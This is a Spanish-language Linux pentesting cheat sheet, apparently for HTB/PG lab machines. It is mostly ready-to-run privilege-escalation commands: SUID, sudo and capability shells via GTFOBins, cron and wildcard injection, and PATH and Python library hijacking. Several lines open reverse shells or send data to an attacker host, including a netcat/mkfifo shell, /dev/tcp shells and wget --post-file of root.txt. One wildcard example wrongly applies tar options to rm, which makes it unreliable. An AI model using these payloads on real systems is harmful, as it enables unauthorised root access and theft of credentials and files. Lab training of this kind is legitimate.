Linux Pentesting - Guía Completa
🔍 Enumeración Básica
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| # Información del kernel y versión
uname -a
cat /etc/os-release
cat /etc/issue
lsb_release -a
# Arquitectura del procesador
uname -m
arch
# Hostname
hostname
cat /etc/hostname
# Variables de entorno
env
printenv
# Historial de comandos
history
cat ~/.bash_history
cat ~/.zsh_history
|
Usuario y Privilegios
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| # Usuario actual
whoami
id
# Grupos del usuario
groups
id -Gn
# Usuarios del sistema
cat /etc/passwd
cat /etc/passwd | grep -v "nologin\|false" | cut -d':' -f1
# Usuarios con shell válida
grep -vE "nologin|false" /etc/passwd
# Últimos logins
last
lastlog
# Usuarios conectados actualmente
w
who
|
Sudo y Permisos
1
2
3
4
5
6
7
8
9
10
| # Comandos que podemos ejecutar como sudo
sudo -l
# Versión de sudo (buscar exploits)
sudo -V | head -1
sudo --version
# Archivo de configuración sudoers
cat /etc/sudoers
cat /etc/sudoers.d/*
|
💡 Tip: Algunos sistemas permiten sudo -l sin contraseña, revelando información valiosa.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| # Interfaces y direcciones IP
ip a
ifconfig
hostname -I
# Tabla de enrutamiento
ip route
route -n
netstat -rn
# Conexiones activas
netstat -antup
ss -antup
# Puertos en escucha
netstat -tlnp
ss -tlnp
lsof -i
# Firewall rules
iptables -L -n
iptables -S
|
Procesos y Servicios
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| # Procesos en ejecución
ps aux
ps -ef
ps -eo pid,user,cmd
# Árbol de procesos
pstree -p
# Servicios habilitados
systemctl list-units --type=service --state=running
systemctl list-unit-files | grep enabled
# Puertos y procesos
lsof -i:80
fuser 80/tcp
|
Software Instalado
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Debian/Ubuntu
dpkg -l
apt list --installed
# RedHat/CentOS
rpm -qa
yum list installed
# Versiones específicas
apache2 -v
nginx -v
mysql --version
python --version
python3 --version
|
📂 Búsqueda de Archivos y Credenciales
Archivos Interesantes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| # Archivos de configuración comunes
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/resolv.conf
/etc/network/interfaces
/etc/crontab
/var/spool/cron/crontabs/*
# Logs
/var/log/auth.log
/var/log/syslog
/var/log/messages
/var/log/apache2/access.log
/var/log/nginx/access.log
# Archivos de usuario
~/.ssh/id_rsa
~/.ssh/authorized_keys
~/.bash_history
~/.mysql_history
~/.viminfo
|
Buscar Credenciales en Archivos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| # Buscar patrones de contraseñas
grep -rinE '(password|passwd|pwd|pass|key|token|secret|admin|login|credentials)' /etc/ 2>/dev/null
# En directorio actual recursivamente
grep -rinE '(password|username|user|pass|key|token|secret|admin|login|credentials)' .
# Buscar archivos de configuración
find / -name "*.conf" -type f 2>/dev/null
find / -name "config*" -type f 2>/dev/null
find / -name "*config*" -type f 2>/dev/null
# Buscar archivos de backup
find / -name "*.bak" -type f 2>/dev/null
find / -name "*.backup" -type f 2>/dev/null
find / -name "*~" -type f 2>/dev/null
# Archivos de base de datos
find / -name "*.db" -type f 2>/dev/null
find / -name "*.sqlite" -type f 2>/dev/null
find / -name "*.sql" -type f 2>/dev/null
# Scripts
find / -name "*.sh" -type f 2>/dev/null
find / -name "*.py" -type f 2>/dev/null
find / -name "*.pl" -type f 2>/dev/null
|
Buscar por Tamaño (Flags HTB/PG)
1
2
3
4
5
6
7
8
9
10
11
| # Buscar archivos de 34 bytes (HTB)
find / -type f -size 34c 2>/dev/null
# Buscar archivos de 38 bytes (PG)
find / -type f -size 38c 2>/dev/null
# Buscar y mostrar contenido
find / -type f -size 38c -exec sh -c 'echo {}; cat {}' \; 2>/dev/null
# Rango de tamaño
find / -type f -size +36c -size -39c 2>/dev/null
|
Claves SSH
1
2
3
4
5
6
7
8
9
10
11
| # Buscar todas las claves privadas SSH
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "id_ecdsa" 2>/dev/null
find / -name "id_ed25519" 2>/dev/null
# Authorized keys
find / -name "authorized_keys" 2>/dev/null
# Known hosts
find / -name "known_hosts" 2>/dev/null
|
💡 Uso de claves SSH encontradas:
1
2
3
4
5
6
7
8
9
| # Si la clave tiene permisos incorrectos
chmod 600 id_rsa
# Conectar con la clave
ssh -i id_rsa user@target
# Si la clave está protegida con contraseña, crackear con John
ssh2john id_rsa > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
|
🔒 SUID y GUID
¿Qué es SUID/GUID?
SUID (Set User ID): Cuando un archivo con SUID se ejecuta, se ejecuta con los permisos del propietario del archivo (generalmente root).
GUID (Set Group ID): Similar a SUID pero con los permisos del grupo.
Buscar Binarios SUID/GUID
1
2
3
4
5
6
7
8
9
10
11
12
13
| # Buscar archivos SUID
find / -type f -perm -4000 -ls 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
# Buscar archivos GUID
find / -type f -perm -2000 -ls 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
# Buscar ambos (SUID o GUID)
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
# Solo binarios en directorios no estándar (más sospechosos)
find / -type f -perm -4000 2>/dev/null | grep -v "/usr/bin\|/bin\|/usr/sbin\|/sbin"
|
Binarios SUID Comunes Explotables
Referencia: GTFOBins
find
1
2
3
4
5
| # Si find tiene SUID
find . -exec /bin/bash -p \; -quit
# O con sh
find . -exec /bin/sh -p \; -quit
|
vim/vi
1
2
3
4
5
6
| # Abrir vim con SUID
vim -c ':!/bin/bash'
# O desde dentro de vim
:set shell=/bin/bash
:shell
|
nano
1
2
3
4
| # Desde nano con SUID
nano
^R^X
reset; bash 1>&0 2>&0
|
nmap (versiones antiguas)
1
2
3
| # Nmap con SUID (versiones <5.21)
nmap --interactive
nmap> !bash -p
|
less/more
1
2
3
4
5
| # Leer archivos como root
less /etc/shadow
# Ejecutar shell desde less
!/bin/bash
|
wget con SUID
1
2
3
4
5
6
7
8
| # En máquina local, listener
nc -nlvp 80
# En target con wget SUID
sudo wget --post-file /root/root.txt http://10.10.14.87/
# Alternativa: Sobreescribir archivos
wget http://10.10.14.87/malicious -O /etc/passwd
|
cp con SUID
1
2
3
4
| # Copiar /etc/shadow a ubicación legible
cp /etc/shadow /tmp/shadow
# O sobreescribir /etc/passwd con versión maliciosa
|
bash/sh con SUID
1
2
3
4
5
6
7
| # Mantener privilegios
bash -p
sh -p
# Verificar
whoami
id
|
⚠️ Nota: -p en bash mantiene el effective UID (no lo baja a real UID).
🔓 Sudo Exploitation
Sudo -l Output Analysis
1
2
3
| $ sudo -l
User alice may run the following commands on target:
(ALL) NOPASSWD: /usr/bin/find
|
Interpretación:
(ALL): Puede ejecutar como cualquier usuarioNOPASSWD: No requiere contraseña/usr/bin/find: El binario específico
Explotar Binarios con Sudo
Siempre consultar: GTFOBins - Sudo
find
1
| sudo find . -exec /bin/bash \; -quit
|
vim
1
| sudo vim -c ':!/bin/bash'
|
python
1
2
| sudo python -c 'import os; os.system("/bin/bash")'
sudo python3 -c 'import os; os.system("/bin/bash")'
|
perl
1
| sudo perl -e 'exec "/bin/bash";'
|
awk
1
| sudo awk 'BEGIN {system("/bin/bash")}'
|
man
1
2
| sudo man man
!/bin/bash
|
git
1
2
| sudo git -p help
!/bin/bash
|
tar
1
2
| # Crear checkpoint que ejecuta comando
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
|
zip
1
2
| # Crear zip que ejecuta comando
sudo zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
|
Vulnerabilidades de Sudo
CVE-2019-14287 (Sudo < 1.8.28)
Bypass de restricción de usuario:
1
2
3
| # Si sudoers tiene: (ALL, !root) /bin/bash
# Podemos ejecutar como root usando UID -1
sudo -u#-1 /bin/bash
|
CVE-2021-3156 (Baron Samedit)
Heap-based buffer overflow en sudo (versiones 1.8.2-1.8.31p2, 1.9.0-1.9.5p1).
1
2
3
4
5
| # Exploit público disponible
# https://github.com/blasty/CVE-2021-3156
# Verificar vulnerabilidad
sudoedit -s /
|
⚡ Capabilities
¿Qué son las Capabilities?
Linux capabilities dividen los privilegios de root en unidades más pequeñas. Un binario puede tener capabilities específicas sin necesitar SUID root completo.
Listar Capabilities
1
2
3
4
5
6
7
8
| # Ver capabilities de todos los archivos
getcap -r / 2>/dev/null
# Ver capabilities de un archivo específico
getcap /usr/bin/python3.8
# Ejemplo de salida:
# /usr/bin/python3.8 = cap_setuid+ep
|
Capabilities Peligrosas
| Capability | Descripción | Riesgo |
|---|
cap_setuid | Cambiar UID de proceso | Permite obtener root |
cap_dac_override | Bypass permisos de archivos | Leer/escribir cualquier archivo |
cap_dac_read_search | Bypass permisos de lectura | Leer cualquier archivo |
cap_sys_admin | Múltiples operaciones admin | Montar filesystems, etc |
cap_sys_ptrace | Debuggear procesos | Inyectar código en procesos |
Explotar Capabilities
cap_setuid en Python
1
2
3
4
5
6
| # Si python tiene cap_setuid+ep
getcap /usr/bin/python3.8
# /usr/bin/python3.8 = cap_setuid+ep
# Obtener shell root
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
|
cap_setuid en Perl
1
| perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
|
cap_dac_read_search
1
2
| # Permite leer cualquier archivo (incluso /etc/shadow)
./binary_with_cap /etc/shadow
|
⏰ Cron Jobs
Enumeración de Cron Jobs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| # Crontab del sistema
cat /etc/crontab
# Cron jobs de usuarios
ls -la /var/spool/cron/crontabs/
cat /var/spool/cron/crontabs/*
# Cron.d
ls -la /etc/cron.d/
cat /etc/cron.d/*
# Scripts programados
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
# Ver logs de cron
grep CRON /var/log/syslog
|
1
2
3
4
5
6
7
| # ┌───────────── minuto (0 - 59)
# │ ┌───────────── hora (0 - 23)
# │ │ ┌───────────── día del mes (1 - 31)
# │ │ │ ┌───────────── mes (1 - 12)
# │ │ │ │ ┌───────────── día de la semana (0 - 6) (Domingo=0)
# │ │ │ │ │
# * * * * * comando a ejecutar
|
Explotar Cron Jobs
Script con permisos de escritura
1
2
3
4
5
6
7
8
9
10
11
| # Si encontramos cron job ejecutándose como root
*/5 * * * * root /opt/backup.sh
# Y tenemos permisos de escritura en /opt/backup.sh
ls -la /opt/backup.sh
# -rwxrwxrwx 1 root root 123 Jan 10 12:00 /opt/backup.sh
# Inyectar reverse shell
echo 'bash -i >& /dev/tcp/10.10.14.87/443 0>&1' >> /opt/backup.sh
# Esperar a que se ejecute el cron
|
PATH Hijacking en Cron
1
2
3
4
5
6
7
8
9
10
| # Si crontab usa rutas relativas
*/5 * * * * root backup.sh
# Y tenemos control sobre PATH o podemos escribir en /tmp
echo '#!/bin/bash' > /tmp/backup.sh
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /tmp/backup.sh
chmod +x /tmp/backup.sh
# Modificar crontab para usar nuestro PATH (si es posible)
# O esperar si /tmp está en PATH del cron
|
Monitorear Ejecución de Procesos
1
2
3
4
| # Usar pspy para ver procesos ejecutándose (sin root)
# https://github.com/DominicBreuker/pspy
./pspy64 -pf -i 1000
|
🌟 Wildcard Exploitation
¿Qué es Wildcard Exploitation?
Cuando un script usa wildcards (*) en comandos como tar, rsync, chown, etc., podemos crear archivos que se interpreten como argumentos del comando.
Ejemplo con tar
1
2
3
4
5
6
7
8
9
10
11
| # Supongamos que existe un cron job:
*/5 * * * * cd /home/user/backup && tar czf backup.tar.gz *
# Creamos archivos maliciosos
cd /home/user/backup
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.87 443 >/tmp/f" > shell.sh
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
# Cuando tar se ejecute, interpretará nuestros archivos como argumentos:
# tar czf backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh <otros archivos>
|
Ejemplo con chown
1
2
3
4
5
6
7
| # Script vulnerable:
chown root:root /tmp/*
# Crear enlace simbólico
ln -s /etc/passwd /tmp/passwd_link
# Cuando se ejecute, cambiará propietario de /etc/passwd
|
Ejemplo con rsync
1
2
3
4
5
| # Script vulnerable:
rsync -a /source/* /destination/
# Crear archivo con opciones maliciosas
touch "/source/--rsync-path=bash -c 'command'"
|
Recursos: Wildcard Injection - HackTricks
🔑 SSH Techniques
SSH Local Port Forwarding
1
2
3
4
5
6
| # Mapear puerto remoto a local
# Puerto 5901 del target accesible en localhost:4444
ssh -L 4444:127.0.0.1:5901 user@10.10.10.50
# Conectar al servicio
vncviewer localhost:4444
|
SSH Remote Port Forwarding
1
2
3
4
| # Exponer puerto local en máquina remota
ssh -R 8080:localhost:80 user@10.10.10.50
# Ahora target puede acceder a nuestro puerto 80 via localhost:8080
|
SSH Dynamic Port Forwarding (SOCKS Proxy)
1
2
3
4
5
6
| # Crear proxy SOCKS en puerto local
ssh -D 1080 user@10.10.10.50
# Usar con proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT 192.168.1.0/24
|
SSH con Algoritmos Antiguos
1
2
3
4
5
6
7
8
| # Si el servidor solo acepta algoritmos antiguos
ssh user@10.10.10.50 -o KexAlgorithms=+diffie-hellman-group1-sha1
# O añadir a ~/.ssh/config
Host 10.10.10.50
KexAlgorithms +diffie-hellman-group1-sha1
HostKeyAlgorithms +ssh-rsa
PubkeyAcceptedAlgorithms +ssh-rsa
|
SSH y Ejecutar Comando Directamente
1
2
3
4
5
| # Conectar y ejecutar comando
ssh user@10.10.10.50 'whoami'
# Ejecutar reverse shell directamente
ssh user@10.10.10.50 -t '/bin/bash -i >& /dev/tcp/10.10.14.87/443 0>&1'
|
🖥️ Tmux Session Hijacking
¿Qué es Tmux Hijacking?
Si un usuario privilegiado (root) tiene una sesión tmux activa, podemos “apropiarnos” de ella si tenemos acceso al socket.
Buscar Sesiones Tmux
1
2
3
4
5
6
7
8
9
| # Listar procesos tmux
ps aux | grep tmux
# Buscar sockets de tmux
find / -name "*tmux*" 2>/dev/null
find /tmp -name "*tmux*" 2>/dev/null
# Ejemplo de socket:
# /tmp/tmux-0/default (propiedad de root)
|
Conectar a Sesión
1
2
3
4
5
6
7
| # Si tenemos permisos de lectura/escritura en el socket
tmux -S /tmp/tmux-0/default attach
# O listar sesiones
tmux -S /tmp/tmux-0/default ls
# Si la sesión es de root, ahora tenemos shell root
|
💡 Tip: Buscar en directorios como /dev/shm, /tmp, /var/run.
🐍 Python Library Hijacking
¿Qué es Library Hijacking?
Si un script Python se ejecuta con privilegios elevados e importa librerías desde rutas donde tenemos permisos de escritura, podemos inyectar código malicioso.
Ver Rutas de Python
1
2
3
4
5
6
7
8
9
10
11
| # Python 2
python2.7 -c 'import sys; print "\n".join(sys.path)'
# Python 3
python3 -c 'import sys; print("\n".join(sys.path))'
# Ejemplo de salida:
# /usr/lib/python3.8
# /usr/lib/python3.8/lib-dynload
# /usr/local/lib/python3.8/dist-packages
# /usr/lib/python3/dist-packages
|
Explotar Library Hijacking
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Script vulnerable ejecutándose como root:
#!/usr/bin/python3
import backup_module
backup_module.run()
# Si podemos escribir en una ruta de sys.path ANTES de la librería legítima
echo 'import os; os.system("cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash")' > /tmp/backup_module.py
# O en el mismo directorio del script (tiene prioridad)
cd /path/to/script
echo 'import os; os.system("chmod +s /bin/bash")' > backup_module.py
# Esperar a que se ejecute el script
/tmp/rootbash -p
|
Recursos: Python Library Hijacking - Rastating
🛠️ Herramientas de Enumeración Automatizada
LinPEAS - Privilege Escalation Awesome Scripts
LinPEAS es LA herramienta de enumeración más completa para Linux. Automatiza la búsqueda de vectores de escalada de privilegios y destaca los hallazgos por colores según su criticidad.
¿Qué hace LinPEAS?
LinPEAS analiza el sistema en busca de:
- ✅ Información del sistema (kernel, distribución, arquitectura)
- ✅ Usuarios, grupos y permisos
- ✅ Procesos en ejecución (como root, con capabilities, etc.)
- ✅ Servicios y sockets de red
- ✅ Cron jobs y timers systemd
- ✅ Binarios SUID/GUID
- ✅ Capabilities
- ✅ Archivos con contraseñas (config, history, logs)
- ✅ Claves SSH privadas
- ✅ Software instalado y versiones
- ✅ Variables de entorno
- ✅ Configuraciones de sudo
- ✅ Exploits conocidos para el kernel
- ✅ Contenedores (Docker, LXC, etc.)
- ✅ Montajes NFS vulnerables
- ✅ Y mucho más…
Repositorio oficial: https://github.com/carlospolop/PEASS-ng
Instalación y Ejecución
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| # Método 1: Ejecutar directamente desde internet (requiere conexión)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Método 2: Descargar y ejecutar (recomendado)
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
# Método 3: Transferir desde Kali
# En Kali:
locate linpeas.sh # Usualmente en /usr/share/peass/linpeas/linpeas.sh
python3 -m http.server 8000
# En target:
wget http://10.10.14.50:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
# Método 4: Usando curl y guardar
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
|
Opciones de Ejecución
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| # Ejecución básica (recomendada)
./linpeas.sh
# Guardar output en archivo
./linpeas.sh | tee linpeas_output.txt
# Sin colores (mejor para logs)
./linpeas.sh -a 2>&1 | tee linpeas.txt
# Ejecución silenciosa (solo hallazgos importantes)
./linpeas.sh -q
# Ejecución super silenciosa (solo lo más crítico)
./linpeas.sh -q -q
# Con password para buscar en archivos
./linpeas.sh -p
# Modo thorough (más lento pero más completo)
./linpeas.sh -a
# Solo buscar passwords
./linpeas.sh -s
# Especificar nivel de detalle (0-3)
./linpeas.sh -l 2
|
Interpretación de Colores
LinPEAS usa colores para indicar criticidad:
| Color | Significado | Acción |
|---|
| 🔴 ROJO/ROSA | 95%+ probabilidad de privesc | Explotar inmediatamente |
| 🟡 AMARILLO | Potencial vector de privesc | Investigar a fondo |
| 🔵 AZUL | Información interesante | Revisar si es útil |
| 🟢 VERDE | Información general | Contexto del sistema |
Secciones Clave de LinPEAS
1. Kernel Exploits
1
2
3
4
5
6
| ╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
[+] [CVE-2021-4034] PwnKit
Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: probable
Tags: ubuntu=20.04
|
Acción: Si aparece en rojo/amarillo, buscar exploit y compilar.
2. Sudo Version Check
1
2
3
| ╔══════════╣ Checking 'sudo' version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version
Sudo version 1.8.21p2
|
Acción: Versiones < 1.8.28 vulnerables a CVE-2019-14287.
3. SUID Binaries
1
2
3
| ╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root root 137K Sep 5 2019 /usr/bin/base64 ---> GTFOBins
|
Acción: Si dice “GTFOBins” en rojo, ir a gtfobins.github.io y explotar.
4. Capabilities
1
2
3
| ╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities
/usr/bin/python3.8 = cap_setuid+ep
|
Acción: cap_setuid permite setuid(0) para obtener root.
5. Writable Cron Directories
1
2
3
| ╔══════════╣ Cron jobs
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs
-rw-rw-rw- 1 root root 1.1K Oct 23 12:00 /etc/cron.d/backup
|
Acción: Si es writable, modificar para ejecutar código como root.
Workflow Recomendado con LinPEAS
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Paso 1: Ejecutar LinPEAS y guardar output
./linpeas.sh -a 2>&1 | tee linpeas_full.txt
# Paso 2: Buscar las líneas más críticas (rojas/amarillas)
cat linpeas_full.txt | grep -i "95\|99" # Porcentajes altos de privesc
# Paso 3: Priorizar vectores
# 1º - Kernel exploits (si hay)
# 2º - Sudo misconfigurations
# 3º - SUID/Capabilities
# 4º - Writable files/cron
# 5º - Passwords en archivos
# Paso 4: Explotar el vector más prometedor
|
Tips y Trucos
1. Ejecutar en memoria (sin escribir en disco)
1
| curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
|
2. Transferir via base64 (si no hay wget/curl)
1
2
3
4
5
6
| # En Kali:
base64 -w0 linpeas.sh > linpeas_b64.txt
# En target:
echo "BASE64_STRING" | base64 -d > linpeas.sh
chmod +x linpeas.sh
|
3. Ejecutar desde memoria compartida (evitar logs)
1
2
3
| cp linpeas.sh /dev/shm/
/dev/shm/linpeas.sh
rm /dev/shm/linpeas.sh
|
4. Buscar passwords específicamente
1
| ./linpeas.sh -p | grep -i "password\|passwd\|pwd"
|
5. Exportar solo hallazgos críticos
1
| ./linpeas.sh 2>&1 | grep -E "\[0;31m|\[0;95m" > critical_findings.txt
|
Limitaciones de LinPEAS
- ❌ No explota automáticamente: Solo enumera, tú debes explotar
- ❌ Puede ser detectado: Antivirus pueden flaggearlo
- ❌ Ruidoso: Hace muchas operaciones (detectable en logs)
- ❌ Falsos positivos: A veces marca cosas que no son explotables
Alternativas a LinPEAS
Si LinPEAS es detectado, usa alternativas:
1
2
3
4
5
6
7
8
9
10
11
12
| # LinEnum (más viejo pero menos detectado)
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
./LinEnum.sh -t
# Linux Smart Enumeration (LSE)
wget https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh
./lse.sh -l2
# Linux Exploit Suggester (solo exploits de kernel)
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
|
pspy - Unprivileged Linux Process Snooping
pspy es una herramienta que permite monitorear procesos en tiempo real SIN necesitar privilegios de root. Es extremadamente útil para descubrir cron jobs, scripts ejecutándose, y comandos que otros usuarios ejecutan.
¿Cómo funciona pspy sin root?
Magia de Linux: pspy utiliza el pseudo-filesystem /proc y syscalls de Linux para detectar:
- Cambios en el FS - Monitorea
/proc para detectar nuevos PIDs - Eventos inotify - Detecta cambios en archivos
- Polling inteligente - Revisa continuamente los procesos activos
Repositorio oficial: https://github.com/DominicBreuker/pspy
¿Por qué usar pspy?
Problema: ps aux solo muestra procesos en ese instante. Un cron job que se ejecuta cada minuto puede no aparecer.
Solución: pspy monitorea TODOS los procesos que se crean, incluso los que duran milisegundos.
Casos de uso:
- ✅ Descubrir cron jobs ocultos
- ✅ Ver scripts ejecutados por root
- ✅ Encontrar comandos con rutas relativas (PATH hijacking)
- ✅ Detectar cleanup scripts
- ✅ Ver argumentos de comandos ejecutados
Instalación
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| # Descargar pspy64 (sistema 64-bit)
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
# O pspy32 (sistema 32-bit)
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32
# Dar permisos
chmod +x pspy64
# Transferir desde Kali
# En Kali:
locate pspy64
python3 -m http.server 8000
# En target:
wget http://10.10.14.50:8000/pspy64
chmod +x pspy64
|
Uso Básico
1
2
3
4
5
6
7
8
9
10
| # Ejecución básica (usar valores por defecto)
./pspy64
# Con opciones recomendadas
./pspy64 -pf -i 1000
# Opciones explicadas:
# -p : Mostrar comandos y argumentos
# -f : Mostrar eventos de filesystem (FS events)
# -i 1000 : Intervalo de escaneo en ms (1000ms = 1 segundo)
|
Opciones Avanzadas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| # Solo procesos (sin FS events)
./pspy64 -p
# Solo FS events (sin procesos)
./pspy64 -f
# Con directorio específico para monitorear
./pspy64 -pf -d /tmp -d /opt
# Escaneo muy rápido (100ms - más CPU)
./pspy64 -pf -i 100
# Escaneo lento (5 segundos - menos detectable)
./pspy64 -pf -i 5000
# Modo silencioso (solo nuevos procesos)
./pspy64 -p --ppid
|
Interpretación del Output
Ejemplo de output:
1
2
3
| 2023/12/13 20:30:01 CMD: UID=0 PID=12345 | /bin/bash /opt/scripts/backup.sh
2023/12/13 20:30:01 CMD: UID=0 PID=12346 | tar czf /backup/data.tar.gz /var/www/html
2023/12/13 20:30:02 FS: OPEN | /opt/scripts/backup.sh
|
Interpretación:
UID=0 → Ejecutado por rootPID=12345 → Process ID/bin/bash /opt/scripts/backup.sh → Comando completo con argumentosFS: OPEN → El archivo fue abierto
Qué buscar:
- Comandos ejecutados como root (UID=0)
1
| CMD: UID=0 PID=1234 | /usr/bin/python3 /opt/monitor.py
|
→ Revisar /opt/monitor.py para permisos de escritura o library hijacking.
- Rutas relativas
1
| CMD: UID=0 PID=1234 | backup.sh
|
→ PATH Hijacking! El script no usa ruta absoluta.
- Wildcards en comandos
1
| CMD: UID=0 PID=1234 | tar czf backup.tar.gz *
|
→ Wildcard injection posible.
- Archivos siendo modificados
1
| FS: MODIFY | /etc/passwd
|
→ Algún proceso está modificando /etc/passwd (podemos race condition).
Workflow con pspy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| # Paso 1: Ejecutar pspy en background
./pspy64 -pf -i 1000 > pspy_output.txt &
# Paso 2: Esperar 5-10 minutos (capturar cron jobs)
sleep 600
# Paso 3: Matar proceso pspy
killall pspy64
# Paso 4: Analizar output
# Buscar comandos ejecutados como root (UID=0)
grep "UID=0" pspy_output.txt
# Buscar rutas relativas (sin / al inicio)
grep "CMD:" pspy_output.txt | grep -v "^/"
# Buscar wildcards
grep "CMD:" pspy_output.txt | grep "\*"
# Buscar comandos con argumentos sospechosos
grep "CMD:" pspy_output.txt | grep -E "(wget|curl|python|bash|sh)"
|
Ejemplo Real de Escalada
Scenario: pspy detecta esto cada minuto:
1
| CMD: UID=0 PID=1234 | /bin/bash /opt/scripts/cleanup.sh
|
Paso 1: Revisar permisos
1
2
| ls -la /opt/scripts/cleanup.sh
# -rwxr-xr-x 1 root root 123 Jan 10 12:00 /opt/scripts/cleanup.sh
|
→ No writable 😞
Paso 2: Leer contenido
1
| cat /opt/scripts/cleanup.sh
|
1
2
3
| #!/bin/bash
cd /tmp
rm -rf *
|
Paso 3: Explotar wildcard
1
2
3
4
5
6
7
8
| cd /tmp
echo 'chmod +s /bin/bash' > exploit.sh
chmod +x exploit.sh
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh exploit.sh'
# Esperar a que se ejecute rm -rf *
# rm interpretará nuestros archivos como argumentos
|
Paso 4: Obtener root
1
2
| /bin/bash -p
whoami # root
|
Tips y Trucos
1. Ejecutar en memoria compartida
1
2
3
| cp pspy64 /dev/shm/
/dev/shm/pspy64 -pf -i 1000
rm /dev/shm/pspy64
|
2. Buscar procesos específicos
1
| ./pspy64 -pf | grep -i "backup\|cron\|root"
|
3. Monitorear directorio específico
1
| ./pspy64 -f -d /opt -d /var/www
|
4. Combinar con watch para tiempo real
1
| watch -n 1 'cat pspy_output.txt | tail -20'
|
Limitaciones
- ❌ No muestra variables de entorno de los procesos
- ❌ Puede perder procesos muy rápidos (< intervalo de escaneo)
- ❌ Consume CPU si el intervalo es muy bajo
Repositorio: https://github.com/DominicBreuker/pspy
GTFOBins - Bypass de Restricciones con Binarios Unix
GTFOBins es una base de datos curada de binarios Unix que pueden ser usados para bypass de restricciones de seguridad en sistemas mal configurados.
Sitio web: https://gtfobins.github.io/ Repositorio: https://github.com/GTFOBins/GTFOBins.github.io
¿Qué es GTFOBins?
GTFO = “Get The Fuck Out” (salir de restricciones)
GTFOBins cataloga binarios que permiten:
- 🔓 Shell: Ejecutar shell interactivo
- 📤 File upload: Subir archivos
- 📥 File download: Descargar archivos
- 📄 File read: Leer archivos
- ✍️ File write: Escribir archivos
- 📚 Library load: Cargar librerías personalizadas
- 🔍 SUID: Explotar si tienen bit SUID
- 🔑 Sudo: Explotar si se pueden ejecutar con sudo
- 🎯 Capabilities: Explotar Linux capabilities
- 🐚 Limited shell: Bypass de shells restringidos
- 🌐 Reverse shell: Obtener reverse shell
- 📦 File transfer: Transferir archivos
Cómo Usar GTFOBins
Escenario 1: Encontraste binario SUID
1
2
| find / -perm -4000 2>/dev/null
# -rwsr-xr-x 1 root root 137K Sep 5 2019 /usr/bin/base64
|
Paso 1: Ir a https://gtfobins.github.io/ Paso 2: Buscar “base64” Paso 3: Click en “SUID” Paso 4: Copiar y adaptar el comando
1
2
3
4
5
6
| # GTFOBins dice:
LFILE=/etc/shadow
./base64 "$LFILE" | base64 --decode
# Ejecutar:
/usr/bin/base64 /etc/shadow | base64 --decode
|
Escenario 2: Tienes sudo en binario específico
1
2
3
| sudo -l
# User alice may run the following commands:
# (ALL) NOPASSWD: /usr/bin/find
|
Paso 1: Buscar “find” en GTFOBins Paso 2: Click en “Sudo” Paso 3: Usar comando:
